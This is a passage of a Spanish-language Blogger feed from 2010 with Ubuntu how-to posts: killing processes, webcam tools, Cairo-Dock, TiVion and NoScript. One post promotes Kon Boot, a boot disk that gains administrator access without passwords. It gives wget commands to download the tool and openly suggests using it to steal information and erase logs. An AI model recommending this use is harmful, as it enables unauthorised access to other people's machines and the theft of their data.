/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;El siguiente paso es muy sencillo, sólo hay que &lt;b&gt;usar el comando kill&lt;/b&gt; con su respectiva &lt;b&gt;señal&lt;/b&gt; para que el &lt;b&gt;proceso&lt;/b&gt; se &lt;b&gt;finalice&lt;/b&gt;. Para ello ejecutaremos el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;kill -9 IDProceso&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Si todo ha ido bien nos &lt;b&gt;aparecerá un mensaje indicando que el proceso ha sido matado&lt;/b&gt; correctamente :).&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7427081038010756553?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7427081038010756553/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/linux-matar-procesos-por-consola.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7427081038010756553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7427081038010756553'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/linux-matar-procesos-por-consola.html' title='Linux - Matar Procesos por consola'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S4Z981Lj5yI/AAAAAAAAAcM/hJVus8MgfQA/s72-c/AutoKillAnyProcessICON.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3296744505306515919</id><published>2010-02-22T15:55:00.000+01:00</published><updated>2010-02-22T15:55:44.790+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WebCam'/><title type='text'>Ubuntu - Ver cuando se activa la webcam.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S4KagJvRABI/AAAAAAAAAb8/BDJTtb4Rjo8/s1600-h/Camera-Monitor-logo-150x150.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S4KagJvRABI/AAAAAAAAAb8/BDJTtb4Rjo8/s320/Camera-Monitor-logo-150x150.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Uno de nuestros lectores, a propósito del tema de la &lt;b&gt;webcam&lt;/b&gt;, nos propuso un programa que &lt;b&gt;nos mostrará en la barra de notificaciones si la webcam se ha activado&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Son muchas las historias que cuentan el &lt;b&gt;espionaje&lt;/b&gt; de desconocidos a través de la &lt;b&gt;webcam&lt;/b&gt; y como existe cierta &lt;b&gt;paranoia&lt;/b&gt; nunca está de más tener un &lt;b&gt;notificador&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;El &lt;b&gt;programa&lt;/b&gt; que usaremos se llama &lt;b&gt;Camera-Monitor&lt;/b&gt; y su &lt;b&gt;uso&lt;/b&gt; es realmente &lt;b&gt;fácil&lt;/b&gt;. Para &lt;b&gt;instalarlo&lt;/b&gt; sólo tendremos que ejecutar el siguiente comando en el terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install cameramonitor&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado, pasaremos a &lt;b&gt;configurarlo&lt;/b&gt; para que se &lt;b&gt;autoinicie&lt;/b&gt; con nuestra sesión. Para ello iremos a &lt;b&gt;Sistema &amp;gt;&amp;nbsp; Preferencias &amp;gt; Camera Monitor Preferences&lt;/b&gt; . Una vez aquí, escogeremos la &lt;b&gt;entrada de vídeo&lt;/b&gt; de la webcam y el tiempo en segundos. Activaremos la notificación y cerraremos, como muestra la imagen.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S4KZ5xFXP5I/AAAAAAAAAb0/HhoDu_BFQU0/s1600-h/cameramonitor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S4KZ5xFXP5I/AAAAAAAAAb0/HhoDu_BFQU0/s320/cameramonitor.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3296744505306515919?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3296744505306515919/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-ver-cuando-se-activa-la-webcam.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3296744505306515919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3296744505306515919'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-ver-cuando-se-activa-la-webcam.html' title='Ubuntu - Ver cuando se activa la webcam.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S4KagJvRABI/AAAAAAAAAb8/BDJTtb4Rjo8/s72-c/Camera-Monitor-logo-150x150.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3125979899915588832</id><published>2010-02-20T10:08:00.000+01:00</published><updated>2010-02-18T00:35:54.099+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu - Cairo-Dock la barra de MAC</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S3x2mDSLKcI/AAAAAAAAAbk/wgITyPhJMv0/s1600-h/cairo-dock-leopard.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S3x2mDSLKcI/AAAAAAAAAbk/wgITyPhJMv0/s320/cairo-dock-leopard.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Hace tiempo &lt;a href="http://donzeyt.blogspot.com/2010/01/linux-anadir-barra-de-mac-gnome-do.html"&gt;hablamos de gnome-docky&lt;/a&gt;. El &lt;b&gt;sistema&lt;/b&gt; es &lt;b&gt;bueno&lt;/b&gt; pero no esta nada desarrollado, por eso hoy os recomiendo &lt;b&gt;Cairo-Doc&lt;/b&gt;k, una potentísima &lt;b&gt;barra de herramientas que usa OpenGL&lt;/b&gt; y que no consume demasiados recursos.&lt;br /&gt;&lt;br /&gt;Si os diga la verdad, a mi no me gustan nada estas cosas, pierdo el tiempo navegando a través de estas barras pero la verdad que queda muy espectacular ya que&lt;b&gt; esta barra de herramientas contiene numerosos efectos y es muy configurable&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;En cualquier caso hoy instalaremos &lt;b&gt;Cairo-Dock&lt;/b&gt; y haremos nuestro sistema más parecido al MAC. Instalaremos Cairo-Dock con el siguiente comando de terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install cairo-dock&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Una vez instalado lo encontraremos en Aplicaciones &amp;gt; Accesorios &amp;gt; GLX-Dock&lt;/b&gt; , lo abriremos y lo configuraremos a nuestro gusto ;)&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3125979899915588832?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3125979899915588832/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-cairo-dock-la-barra-de-mac.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3125979899915588832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3125979899915588832'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-cairo-dock-la-barra-de-mac.html' title='Ubuntu - Cairo-Dock la barra de MAC'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S3x2mDSLKcI/AAAAAAAAAbk/wgITyPhJMv0/s72-c/cairo-dock-leopard.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3404036867724921598</id><published>2010-02-19T10:28:00.000+01:00</published><updated>2010-02-18T00:36:20.202+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WebCam'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Fotografía'/><title type='text'>Ubuntu - Efectos fotos Webcam</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S3xsxNSbiqI/AAAAAAAAAbc/2ut0jkqvOaY/s1600-h/cheese_logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S3xsxNSbiqI/AAAAAAAAAbc/2ut0jkqvOaY/s320/cheese_logo.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Para los que tengáis &lt;b&gt;envidia de los Maqueros&lt;/b&gt; y su programa de &lt;b&gt;hacer fotos con webcam&lt;/b&gt;, estáis de &lt;b&gt;enhorabuena&lt;/b&gt;. &lt;b&gt;Ubuntu&lt;/b&gt; y en general Linux tiene un programita para hacer esto, además es libre.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S3xskBmEQLI/AAAAAAAAAbU/rJ3FU1XG344/s1600-h/cheese.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S3xskBmEQLI/AAAAAAAAAbU/rJ3FU1XG344/s320/cheese.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Cheese nos permite &lt;b&gt;modificar la visión de la webcam&lt;/b&gt; con varios &lt;b&gt;efectos&lt;/b&gt; para hacer fotos o vídeos. Además &lt;b&gt;podremos descargar efectos extras y hacer el gamba con los amigos&lt;/b&gt; que les gusten hacer el tonto.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;instalarlo es muy sencillo&lt;/b&gt;. Primero de todo &lt;b&gt;necesitamos una cámara web&lt;/b&gt;. Lo siguiente es abrir un terminal y escribir lo siguiente:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install cheese&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado lo encontraremos en &lt;b&gt;Aplicaciones &amp;gt; Sonido y Vídeo &amp;gt; Fotomatón Cheese de cámara Web&lt;/b&gt;. Lo abrimos, &lt;b&gt;pulsaremos sobre efectos&lt;/b&gt; y tomamos unas simples instantáneas. Además víde, acepta incluso ráfagas de fotos para que puedas escoger cual subir cual auténtico posser de Internet.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S3xr8i3rrtI/AAAAAAAAAbM/1GOtsWhwufo/s1600-h/yo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S3xr8i3rrtI/AAAAAAAAAbM/1GOtsWhwufo/s320/yo.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;*Don ZeYt feeling like a mac user&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3404036867724921598?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3404036867724921598/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-efectos-fotos-webcam.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3404036867724921598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3404036867724921598'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-efectos-fotos-webcam.html' title='Ubuntu - Efectos fotos Webcam'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S3xsxNSbiqI/AAAAAAAAAbc/2ut0jkqvOaY/s72-c/cheese_logo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-4144892182275641168</id><published>2010-02-17T22:22:00.001+01:00</published><updated>2010-02-17T22:24:31.001+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TV'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu - TiVion Ver televisión en Internet</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S3xehjPCcuI/AAAAAAAAAbE/q7FCphm0h68/s1600-h/tivion.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S3xehjPCcuI/AAAAAAAAAbE/q7FCphm0h68/s320/tivion.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Existen muchas &lt;b&gt;alternativas para ver la televisión en internet&lt;/b&gt; gratis. He escogido una bastante buena porque es un&lt;b&gt; proyecto español&lt;/b&gt;, lo que permitirá ver más canales de lo normal y también porque no instala &lt;b&gt;cientos de librerías innecesarias&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;TiVion es fácil de instalar&lt;/b&gt; y&lt;b&gt; funciona bastante bien&lt;/b&gt; aunque la verdad que la cantidad de programas que ofrece no destaca demasiado. En cualquier caso si disfrutas con algunos &lt;b&gt;canales de TDT&lt;/b&gt; o te gusta ver Intereconomía antes de tu sesión de sado-maso, instala TiVio, no tienes nada que perder.&lt;br /&gt;&lt;br /&gt;Para instalarlo, hay que dar algún paso extra aunque es bastante sencillo. Abre un terminal y ejecuta:&lt;br /&gt;&lt;blockquote style="font-family: inherit;"&gt;&lt;blockquote&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;sudo add-apt-repository ppa:shakaran/ppa&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;sudo apt-get update&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;sudo apt-get install tivion&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;Una vez instalado, &lt;b&gt;lo encontraremos en Aplicaciones &amp;gt; Internet &amp;gt; TiVion&lt;/b&gt; , Tras abrirlo podremos &lt;b&gt;disfrutar de los canales de varios países&lt;/b&gt;, aunque yo no veo la televisión.&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-4144892182275641168?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/4144892182275641168/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-tivion-ver-television-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4144892182275641168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4144892182275641168'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-tivion-ver-television-en.html' title='Ubuntu - TiVion Ver televisión en Internet'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S3xehjPCcuI/AAAAAAAAAbE/q7FCphm0h68/s72-c/tivion.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-2425721326208201177</id><published>2010-02-17T20:32:00.000+01:00</published><updated>2010-02-17T20:32:47.145+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>El disquette de la muerte - Kon Boot</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S3xD35cKlNI/AAAAAAAAAa0/UeX1KbgiWRc/s1600-h/konlogo.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S3xD35cKlNI/AAAAAAAAAa0/UeX1KbgiWRc/s320/konlogo.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Kon Boot&lt;/b&gt; es una &lt;b&gt;herramienta potentísima&lt;/b&gt; escrita en &lt;b&gt;ensamblador&lt;/b&gt; que &lt;b&gt;modifica el kernel al vuelo para obtener privilegios de administrador&lt;/b&gt; sin romper contraseñas ni cosas extrañas.&lt;br /&gt;&lt;br /&gt;Escrito íntegramente en ensamblador para &lt;b&gt;arquitecturas x86&lt;/b&gt;, este sencillo programa, que&lt;b&gt; cabe en un disquette&lt;/b&gt;, es &lt;b&gt;capaz de entrar como administrador en sistemas Linux y en sistemas comerciales privativos&lt;/b&gt;, incluso en sus últimas versiones.&lt;br /&gt;&lt;br /&gt;Su &lt;b&gt;funcionamiento es bastante sencillo&lt;/b&gt;, metes el disquette o CD, lo &lt;b&gt;inicias desde la unidad&lt;/b&gt; que elijas y listo. Iniciará el sistema operativo de la máquina con &lt;b&gt;privilegios de administrador&lt;/b&gt;, lo que te permitirá robar información, borrar los logs e irte bailando a otro lado.&lt;br /&gt;&lt;br /&gt;Para descargarlo es muy sencillo, simplemente hay que usar el siguiente comando:&lt;br /&gt;Para &lt;b&gt;disquette&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;wget http://www.piotrbania.com/all/kon-boot/data/FD0-konboot-v1.1-2in1.zip&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Para &lt;b&gt;CD&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;wget http://www.piotrbania.com/all/kon-boot/data/CD-konboot-v1.1-2in1.zip&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Si estas pensando en llevar un &lt;b&gt;pen drive cargadito de herramientas de seguridad&lt;/b&gt;, esta no debe faltarte nunca. Os invito a que lo probéis.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/jTZX_ldU1MQ&amp;hl=es_ES&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/jTZX_ldU1MQ&amp;hl=es_ES&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-2425721326208201177?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/2425721326208201177/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/el-disquette-de-la-muerte-kon-boot.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2425721326208201177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2425721326208201177'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/el-disquette-de-la-muerte-kon-boot.html' title='El disquette de la muerte - Kon Boot'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S3xD35cKlNI/AAAAAAAAAa0/UeX1KbgiWRc/s72-c/konlogo.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3404247180136298800</id><published>2010-02-16T12:17:00.000+01:00</published><updated>2010-02-16T12:17:42.748+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Cine - Documental caso !Hispahack</title><content type='html'>&lt;div style="text-align: left;"&gt;Bueno, a pesar de que este documental es antiguo y tiene un toque retro con gente que la verdad no se que pinta ahí, se menciona&lt;a href="http://donzeyt.blogspot.com/2010/02/caso-hispahack.html"&gt; el caso !Hispahack&lt;/a&gt; y salen algunos de sus miembros. También sale algún que otro flipado pero esta bien.&lt;/div&gt;&lt;div style="text-align: left;"&gt;Disfrutarlo! &lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/pzRwmnwyXOc&amp;hl=es_ES&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/pzRwmnwyXOc&amp;hl=es_ES&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3404247180136298800?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3404247180136298800/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/cine-documental-caso-hispahack.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3404247180136298800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3404247180136298800'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/cine-documental-caso-hispahack.html' title='Cine - Documental caso !Hispahack'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-1174339207876693695</id><published>2010-02-16T12:10:00.001+01:00</published><updated>2010-02-16T14:53:33.117+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='Privacidad'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Privacidad 3: NoScript - Bloquea javascript y otras malas compañías.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S3p8SwAAqcI/AAAAAAAAAak/KhJM74VUU3c/s1600-h/820.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S3p8SwAAqcI/AAAAAAAAAak/KhJM74VUU3c/s320/820.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Sin duda, poder &lt;b&gt;bloquear la publicidad&lt;/b&gt; está muy bien. Desde mi punto de vista no es muy ético pero cada persona puede hacer con sus ciclos de ordenador lo que quiera. El problema radica principalmente en que muchos &lt;b&gt;webmasters&lt;/b&gt; tienen que &lt;b&gt;pagar las malas acciones de ciertas agencias y mayoristas de la publicidad&lt;/b&gt; acepten &lt;b&gt;banners flash con sonidos molestos&lt;/b&gt; y que sólo &lt;b&gt;consumen recursos&lt;/b&gt;. Ante este potente problema la &lt;b&gt;industria&lt;/b&gt; busca soluciones como &lt;b&gt;bloquear a los que usen AdBlockPlus&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;En cualquier caso, como no creemos en estos sistemas, &lt;b&gt;os recomiendo directamente que empleéis la extensión para firefox NoScript&lt;/b&gt;. Su funcionamiento es bastante sencillo. Puedes &lt;b&gt;bloquear javascript globalmente&lt;/b&gt; y no tener &lt;b&gt;ningún problema de ClickJacking y seguridad al navegar&lt;/b&gt;, o &lt;b&gt;desactivar ciertas cosas que sólo sirven para molestar&lt;/b&gt;. No obstante, &lt;b&gt;también te protegerá contra ataques XSS y ciertas actividades maléficas como los cruces de dominios&lt;/b&gt; ante los que cualquier usuario normal ni se daría cuenta.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;instalarlo es muy sencillo&lt;/b&gt;, iremos a la &lt;a href="https://addons.mozilla.org/es-ES/firefox/addon/722"&gt;página del complemento&lt;/a&gt; y pulsaremos sobre&lt;b&gt; Añadir a Firefox&lt;/b&gt;. &lt;b&gt;Una vez instalado y reiniciado el navegador&lt;/b&gt; nos encotraremos en la parte inferior con 